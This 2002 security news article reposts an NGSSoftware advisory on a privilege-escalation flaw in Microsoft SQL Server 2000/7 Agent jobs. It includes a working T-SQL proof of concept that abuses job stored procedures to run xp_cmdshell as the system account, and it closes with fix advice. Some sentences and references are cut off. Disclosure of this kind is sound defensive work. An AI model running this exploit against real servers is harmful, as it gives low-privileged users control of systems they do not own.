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Home » Hacking News » Microsoft SQL Server Agent Jobs Vulnerabilities

Microsoft SQL Server Agent Jobs Vulnerabilities

by Nikola Strahija on August 16th, 2002 With Microsoft SQL Server 2000 and 7 comes a "helper" service, the SQL Server agent. The Agent is responsible for restarting the database service if it stops for some reason, has a role to play in replication and runs scheduled jobs. As the public role can submit jobs to the SQL Agent to be executed a low privileged user may use this to gain control of the server.

The 'Public' role is allowed to create and submit jobs to be executed by the
SQL Agent. To do this one would use a combination of several stored
procedures in the msdb database such as sp_add_job and sp_add_job_step, etc.
As the SQL Agent is considerably more privileged than a simple login, often
running in the security context of the local system account, it must ensure
that, when a T-SQL job is submitted to it, it can't be abused. To defend
against this is performs a


This effectively drops its high level of privileges so no low privileged
login can submit something like

exec master..xp_cmdshell 'dir'

However, this can be trivially bypassed by causing the SQL Agent to
reconnect after it's dropped its privileges. They can use one of the
vulnerable extended stored procedures discussed in the NGSSoftware Alert
NISR15002002A (

Proof of Concept

-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
-- David Litchfield
-- ([email protected])
-- 18th July 2002

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

Fix Information
NGSSoftware informed Microsoft of these issues in July. To prevent low
privileged users from submitting jobs one should disallow public access to
the Job related stored procedures in the MSDB database particularly


Further Microsoft has released a patch that fixes several extended stored
procedure vulnerabilities that can be used in conjuction with a job to gain
extra privileges.

Please see
for more details.

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